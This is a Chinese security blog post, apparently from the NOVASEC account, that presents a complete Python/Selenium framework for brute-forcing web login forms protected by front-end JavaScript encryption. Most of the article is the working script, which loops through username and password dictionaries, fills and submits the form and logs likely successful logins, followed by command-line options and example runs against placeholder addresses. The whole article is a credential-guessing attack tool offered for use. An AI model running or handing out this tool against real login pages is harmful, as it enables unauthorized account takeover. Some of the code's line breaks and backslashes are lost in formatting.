Python实现简约的selenium登录爆破框架

  • A+
所属分类:安全文章

Python实现简约的selenium登录爆破框架


△△△点击上方“蓝字”关注我们了解更多精彩




目录结构:
0x01 操控浏览器进行登录爆破的一些思考

0x02 功能特性

0x03 所有代码

0x04 使用方法

0x05 使用前的配置

0x06 具体命令示例

0x07 总结



0x00 Preface [前言/简介]
测试遇到一个登录框。
1、没有验证码
2、使用登录JS加密,且每次结果都不一样

拿出苦读公众号几十载收藏的【JsFak】等浏览器爆破工具进行一波操作,统统打出了GG。

最终发现还是只有自己以前的selenium爆破脚本最简单,改了改元素标记就能用了,果然最简单的往往最适用。

用完了之后觉得这么改的没有办法进行分享和易用,就改了改参数输入,变成一个模板型的爆破框架。

最终出来了这篇文章。(下载地址在文末提示)



0x01 操控浏览器进行登录爆破的一些思考
适用场景:
浏览器登录爆破用于前端加密的复杂的情况

爆破原理:
1、通过selenium操作浏览器打开登录页面
2、使用id、name、class等元素定位到登录框、密码框、登录按钮,并填充数据进行自动化登录,匹配是否登录成功。

匹配规则:
登录爆破的匹配规则,往往是未知的,通用的匹配项可以参考burp的爆破模块的关键匹配项:返回状态码、长度、返回标题、关键字提取等,其中关键字需要知道多种情况下的返回包再进行进行匹配。
对于浏览器爆破,在不保存响应包内容的情况下,较直接的思路是同时输出跳转后页面url、跳转后页面长度、跳转后页面标题进行匹配。
对于更复杂的情况,可以为浏览器添加代理到burp,手动进行登录分析。

功能缺陷:
使用浏览器进行登录爆破比直接使用报文重放进行登录爆破慢很多。


0x02 功能特性
1、使用selenium驱动chrome浏览器进行登录爆破。

2、支持指定代理服务器
3、支持class、id、name等元素定位登录框,密码框,登录按钮
4、支持定义输入所有关键配置参数,用于适应多种情况。

5、支持自定义跳转后页面关键字,用于匹配登录是否成功
6、输出跳转后页面url、跳转后页面长度、跳转后页面标题用于辅助判断登录是否成功。

7、为了适用于多种情况暂时没有添加多进程,可多开窗口运行多个进程。


0x03 所有代码
#coding:utf-8#测试适用于Python2.7与Python3.7
import timeimport sysfrom selenium import webdriverfrom selenium.webdriver.common import action_chains, keysfrom selenium.webdriver.chrome.options import Optionsimport argparse
if sys.version > '3': print('Python3 was used !!!')else: print('Python2 was used !!!') reload(sys) sys.setdefaultencoding('utf-8')
def SetBrowser(proxy=None , user_agent=None , user_dir=None , chrome_path=None , driver_path=None, headless=False ): options = Options() # 防止打印一些无用的日志 options.add_experimental_option("excludeSwitches", ['enable-automation', 'enable-logging']) #使用指定代理服务器, 对 http 和 https 有效 if proxy != None: #proxy='http://127.0.0.1:8080' options .add_argument('--proxy-server=%s' % proxy) #使用自定义user-agent if user_agent != None: #user_agent = 'Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.9 Mobile Safari/537.36' options .add_argument('--user-agent=%s' % user_agent)
#使用自定义帐户资料夹 if user_dir != None: #user_dir = "D:tempChrome User Data" options .add_argument('user-data-dir=%s' % user_dir)
# 浏览器不提供可视化页面 if headless != False: options.add_argument('--headless')
#指定chrome.exe所在文件路径 #可添加chrome.exe到系统path环境变量 if chrome_path!=None: #chrome_path =r'C:UsersWindowsAppDataRoaming89.0.4389.128chrome.exe' options.binary_location = chrome_path
#webdriver加载Chrome if driver_path != None: #指定驱动路径加载 #driver_path = r"chromedriverchromedriver_win32_89.0.4389.23.exe" browser = webdriver.Chrome(executable_path=driver_path, options = options ) #使用options替换chrome_options else: #默认驱动路径加载 browser = webdriver.Chrome(chrome_options=options ) print('SetBrowser Initialize Successfully !!!') return browser
def BruteLogin(user=None,pwd=None, login_url=None ,time_1=1 ,time_2=1 , user_id=None , user_class=None , user_name=None , pass_id=None , pass_class=None , pass_name=None, button_id=None, button_class=None, button_name=None,keyword='success'): try: action = action_chains.ActionChains(browser) browser.get(login_url) time.sleep(time_1) #延迟时间 #implicitly_wait 隐式等待 在尝试发现某个元素的时候,如果没能立刻发现,就等待固定长度的时间。 #browser.implicitly_wait(5) #implicitly_wait 隐式等待 #报错提示服务器时间未同步 #browser.refresh() # 刷新方法 refresh #browser.implicitly_wait(5) #implicitly_wait 隐式等待 if user_id !=None: print('browser.find_element_by_id( %s )' % user_id) elem = browser.find_element_by_id( user_id ) elif user_name !=None: print('browser.find_element_by_name( %s )' % user_name) elem = browser.find_element_by_name( user_name ) elif user_class !=None: print('browser.find_element_by_class_name( %s )' % user_class) elem = browser.find_element_by_class_name( user_class ) else: print('No Username elem') browser.quit() #填充账号 elem.send_keys(user) action.perform() if pass_id !=None: print('browser.find_element_by_id( %s )' % pass_id) elem = browser.find_element_by_id( pass_id ) elif pass_name !=None: print('browser.find_element_by_name( %s )' % pass_name) elem = browser.find_element_by_name( pass_name ) elif pass_class !=None: print('browser.find_element_by_class_name( %s )' % pass_class) elem = browser.find_element_by_class_name( pass_class ) else: print('No Password elem') browser.quit() #填充密码 elem.send_keys(pwd) action.perform() if button_id !=None: print('browser.find_element_by_id( %s )' % button_id) elem = browser.find_element_by_id( button_id ) elif button_name !=None: print('browser.find_element_by_name( %s )' % button_name) elem = browser.find_element_by_name( button_name ) elif button_class !=None: print('browser.find_element_by_class_name( %s )' % button_class) elem = browser.find_element_by_class_name( button_class ) else: print('No Password elem') browser.quit() #点击按钮 elem.click() #等待加载完成 time.sleep(time_2) #Explicit Waits 显示等待 #获取当前页面的窗口句柄 #print(browser.current_window_handle) # 获取当前页面URL currentPageUrl = browser.current_url print('current Page Url:',currentPageUrl) # 获取当前页面title currentPageTitle = browser.title print('current Page Title:',currentPageTitle) # 获取当前页面的源码并断言 pageSourceSize= len(browser.page_source) print('current Page Size:', pageSourceSize) BruteLogKeywords = user + '|' + pwd + '|' + str(currentPageUrl) + '|' + str(currentPageTitle)+ '|' + str(pageSourceSize) print('BruteLogKeywords: ', BruteLogKeywords) f_BruteLog = open("Brute-Log.txt", "a+") f_BruteLog.write(BruteLogKeywords + 'n') f_BruteLog.close() #自定义匹返回页面匹配关键字 if 'success' in browser.page_source: print('Login Success:' + user + '|' + pwd) f_Success = open("Brute-Keyword.txt", "a+") f_Success.write(BruteLogKeywords + 'n') f_Success.close() else: print('LoginFaild!') except KeyboardInterrupt as e: print('KeyboardInterrupt', e) browser.quit() exit() except Exception as e: print('Exception', e) browser.quit() exit() def BruteLoginRun(login_url=None ,time_1=1 ,time_2=1 , user_id=None , user_class=None , user_name=None , pass_id=None , pass_class=None , pass_name=None, button_id=None, button_class=None, button_name=None, user_dict='username.txt' , pass_dict ='password.txt' ,keyword ='success'): with open(user_dict,'r') as fuser: for user in fuser.readlines(): user = user.strip() with open(pass_dict,'r') as fpwd: for pwd in fpwd.readlines(): pwd = pwd.strip() print('testing...' + user,pwd) BruteLogin(user=user,pwd=pwd,login_url=login_url,time_1=time_1 ,time_2=time_2 , user_id=user_id , user_class=user_class , user_name=user_name , pass_id=pass_id , pass_class=pass_class , pass_name=pass_name, button_id=button_id, button_class=button_class, button_name=button_name, keyword=keyword)
if __name__ == '__main__': parser = argparse.ArgumentParser() parser.description="Simple Browser automatic login blasting tool -- by NOVASEC" #简单的浏览器登录爆破工具 #浏览器配置参数 parser.add_argument("-bh", "--browser_headless", help="Specifies the Browser headless, eg: True", default=False) #指定浏览器chromedriver.exe路径 parser.add_argument("-bp", "--browser_proxy", help="Specifies the Browser Proxy IP for HTTP or HTTPS , eg: http://127.0.0.1:8080" , default=None) #指定浏览器代理服务器地址 parser.add_argument("-bua", "--browser_useragent", help="Specifies the Browser UserAgent , eg: Mozilla/5.0 Version/4.0" , default=None) #指定浏览器User Agent头 parser.add_argument("-bud", "--BrowserUserDir", help="Specifies the Browser User Dir , eg: D:tempChrome User Data" , default=None) #指定浏览器用户数据目录 parser.add_argument("-bcp", "--browser_chrome_path", help="Specifies the Browser Chrome.exe Path , eg: C:chromechrome.exe" , default=None) #指定浏览器chrome.exe路径 parser.add_argument("-bdp", "--browser_driver_path", help="Specifies the Browser Driver Path, eg: D:tempchromedriver.exe", default=None) #指定浏览器chromedriver.exe路径 #登录页配置参数 parser.add_argument("-lu", "--login_url", help="The login address, eg: http://192.168.1.1/login.aspx" , default=None) #指定登录地址 parser.add_argument("-t1", "--time_1", help="Specifies the pause time (s) before access , eg: 1" , default=1 ,type=float) #指定访问前暂停时间 parser.add_argument("-t2", "--time_2", help="Specifies the pause time (s) after access , eg: 1 " , default=1 ,type=float) #指定访问后暂停时间 parser.add_argument("-ui", "--user_id", help="Specify the username attribute by id" , default=None) #指定用户名属性 id parser.add_argument("-un", "--user_name", help="Specify the username attribute by name" , default=None) #指定用户名属性 name parser.add_argument("-uc", "--user_class", help="Specify the username attribute by class, No Spaces" , default=None) #指定用户名属性 class parser.add_argument("-pi", "--pass_id", help="Specify the password attribute by id" , default=None) #指定密码属性 id parser.add_argument("-pn", "--pass_name", help="Specify the password attribute by name" , default=None) #指定密码属性 name parser.add_argument("-pc", "--pass_class", help="Specify the password attribute by class, No Spaces" , default=None) #指定密码属性 class
parser.add_argument("-bi", "--button_id", help="Specify the login button attribute by id" , default=None) #指定登录按钮属性 id parser.add_argument("-bn", "--button_name", help="Specify the login button attribute by name" , default=None) #指定登录按钮属性 name parser.add_argument("-bc", "--button_class", help="Specify the login button attribute by class, No Spaces" , default=None) #指定登录按钮属性 class #字典配置参数 parser.add_argument("-ud", "--user_dict", help="Specify the login username dict" , default='username.txt') #指定用户名字典 parser.add_argument("-pd", "--pass_dict", help="Specify the login password dict" , default='password.txt') #指定密码字典 #关键字匹配参数 parser.add_argument("-k", "--keyword", help="Specifies the keyword to match in the return message" , default='success') #指定在返回报文中匹配的关键字 args = parser.parse_args() #浏览器配置 proxy = args.browser_proxy user_agent = args.browser_useragent user_dir = args.BrowserUserDir chrome_path = args.browser_chrome_path driver_path = args.browser_driver_path headless = args.browser_headless #chrome_path =r"C:UsersWindowsAppDataRoaming89.0.4389.128chrome.exe" #测试用 #driver_path = r"chromedriverchromedriver_win32_89.0.4389.23.exe" #测试用 browser = SetBrowser(proxy=proxy , user_agent=user_agent , user_dir=user_dir , chrome_path=chrome_path , driver_path=driver_path, headless=headless ) #登录页面配置 login_url = args.login_url time_1 = args.time_1 time_2 = args.time_2 user_id = args.user_id user_name = args.user_name user_class = args.user_class #user_id = 't1' ##测试OK #user_name = 't1' ##测试OK #user_class = 'input_kuang_login fin fld-error' ##测试存在空格,不支持 pass_id = args.pass_id pass_name = args.pass_name pass_class = args.pass_class #pass_id = 't2' ##测试OK #pass_name = 't2' ##测试OK #pass_class= 'input_kuang_login' ##测试存在空格,不支持 button_id = args.button_id button_name = args.button_name button_class = args.button_class #button_id = 'b1' ##测试OK #button_name= 'b1' ##测试OK #button_class = 'btnlogin' ##测试OK #字典配置 user_dict = args.user_dict pass_dict = args.pass_dict #匹配关键字配置 keyword = args.keyword BruteLoginRun( login_url=login_url, time_1=time_1, time_2=time_2, user_id=user_id ,user_class=user_class,user_name=user_name , pass_id=pass_id,pass_class=pass_class , pass_name=pass_name, button_id=button_id,button_class=button_class,button_name=button_name, user_dict=user_dict , pass_dict =pass_dict,keyword=keyword) browser.quit()




0x04 使用方法
支持Python3 Python2 下运行。
usage: brute-selenium.py [-h] [-bh BROWSER_HEADLESS] [-bp BROWSER_PROXY] [-bua BROWSER_USERAGENT] [-bud BROWSERUSERDIR] [-bcp BROWSER_CHROME_PATH] [-bdp BROWSER_DRIVER_PATH] [-lu LOGIN_URL] [-t1 TIME_1] [-t2 TIME_2] [-ui USER_ID] [-un USER_NAME] [-uc USER_CLASS] [-pi PASS_ID] [-pn PASS_NAME] [-pc PASS_CLASS] [-bi BUTTON_ID] [-bn BUTTON_NAME] [-bc BUTTON_CLASS] [-ud USER_DICT] [-pd PASS_DICT] [-k KEYWORD]
简单的浏览器登录爆破工具 -- by NOVASEC
选项参数: -h, --help 查看所有帮助
#配置浏览器访问时的属性 -bh BROWSER_HEADLESS, --browser_headless 是否显示浏览器界面, 例: True
-bp BROWSER_PROXY, --browser_proxy BROWSER_PROXY 指定浏览器代理服务器(HTTP或HTTPS)地址, 例: http://127.0.0.1:8080
-bua BROWSER_USERAGENT, --browser_useragent BROWSER_USERAGENT 指定浏览器 UserAgent , 例: Mozilla/5.0 Version/4.0
-bud BROWSERUSERDIR, --BrowserUserDir BROWSERUSERDIR 指定浏览器用户数据目录 , 例: D: empChrome User Data
-bcp BROWSER_CHROME_PATH, --browser_chrome_path BROWSER_CHROME_PATH 指定浏览器chrome.exe路径 ,例: C:chromechrome.exe 默认当前目录或使用环境变量下可找到的chrome.exe
-bdp BROWSER_DRIVER_PATH, --browser_driver_path BROWSER_DRIVER_PATH 指定浏览器chromedriver.exe路径, 例: D:tempchromedriver.exe 默认当前目录或使用环境变量下可找到的chromedriver.exe
-lu LOGIN_URL, --login_url LOGIN_URL 指定登录页面地址, 例: http://192.168.1.1/login.aspx -t1 TIME_1, --time_1 TIME_1 指定访问页面前暂停时间(秒) , 例: 1 ,默认1s -t2 TIME_2, --time_2 TIME_2 指定访问页面后暂停时间(秒) , 例: 1 ,默认1s
#定位登录用户名框框,三选一 -ui USER_ID, --user_id USER_ID Specify the username attribute by id 指定登录用户名框属性 id值 -un USER_NAME, --user_name USER_NAME 指定登录用户名框属性 name值 -uc USER_CLASS, --user_class USER_CLASS 指定登录用户名框属性 class值,不能存在空格
#定位登录密码框框,三选一 -pi PASS_ID, --pass_id PASS_ID 指定登录密码框属性 id值 -pn PASS_NAME, --pass_name PASS_NAME 指定登录密码框属性 id值 -pc PASS_CLASS, --pass_class PASS_CLASS 指定登录密码框属性 class值,不能存在空格
#定位登录按钮,三选一 -bi BUTTON_ID, --button_id BUTTON_ID 指定登录按钮属性 id值 -bn BUTTON_NAME, --button_name BUTTON_NAME 指定登录按钮属性 name值 -bc BUTTON_CLASS, --button_class BUTTON_CLASS 指定登录按钮属性 class值,不能存在空格
#指定账号密码字典 -ud USER_DICT, --user_dict USER_DICT 指定登录爆破用的用户名字典,默认username.txt -pd PASS_DICT, --pass_dict PASS_DICT 指定登录爆破用的用户名字典,默认password.txt#指定结果匹配关键字,适用于已经知道登陆成功返回包的情况。 -k KEYWORD, --keyword KEYWORD 指定登录爆破用的用户名字典,默认password.txt




0x05 使用前的配置
1、chrome.exe的路径。
默认安装的chrome浏览器和环境变量中的chrome.exe会被自动选择,否则需要手动指定位置。

2、chromedriver.exe的路径。
当前目录下chromedriver.exe和环境变量中的chromedriver.exe会被自动选择,否则需要手动指定位置。

3、对于不同版本的chrome.exe需要使用不同版本的驱动
3.1、首先需要确定本机的Chrome浏览器的版本,
在Chrome浏览器里输入"chrome://version"
3.2、chromedriver下载:
http://chromedriver.storage.googleapis.com/index.html

4、定位登录元素的位置。
4.1、打开登录页面,ctrl+c,鼠标分别点登录框,密码框,登录按钮
4.2、任选一个唯一属性作为标记即可,注意class值不能有空格,其他两个值需要自行测试。

Python实现简约的selenium登录爆破框架





0x06 具体命令示例
#使用默认Chorome浏览器和默认Chromedriver.exe进行登录测试python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1
#使用指定Chorome浏览器和指定Chromedriver.exe进行登录测试python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1 -bcp "C:UsersadministratorAppDataRoamingBurpSuiteburpbrowser89.0.4389.128chrome.exe" -bdp "chromedriverchromedriver_win32_89.0.4389.23.exe"
#使用指定Chorome浏览器、指定Chromedriver.exe、指定用户名和密码字典进行登录测试 python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1 -bcp "C:UsersadministratorAppDataRoamingBurpSuiteburpbrowser89.0.4389.128chrome.exe" -bdp "chromedriverchromedriver_win32_89.0.4389.23.exe" -ud username.txt -pd password.txt
#使用指定Chorome浏览器、指定Chromedriver.exe、指定用户名和密码字典进行登录测试 ,并匹配返回包中的关键字python3 brute-selenium.py -lu http://1.1.1.1/login.aspx --user_id t1 --pass_id t2 --button_id b1 -bcp "C:UsersadministratorAppDataRoamingBurpSuiteburpbrowser89.0.4389.128chrome.exe" -bdp "chromedriverchromedriver_win32_89.0.4389.23.exe"   -ud username.txt -pd password.txt 





0x07 总结
元素选择这里还有一点小瑕疵(不支持空格),但是修改也是很简单的。如果您进行了优化,可以分享给我。

NOVASEC公众号后台回复【共享】,获取brute-selenium.py及Win打包的可执行文件。(最近的代码有时间会加到github去)


END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!

Python实现简约的selenium登录爆破框架

或添加NOVASEC-MOYU 以便于及时回复。

Python实现简约的selenium登录爆破框架


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!

本文始发于微信公众号(NOVASEC):Python实现简约的selenium登录爆破框架

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: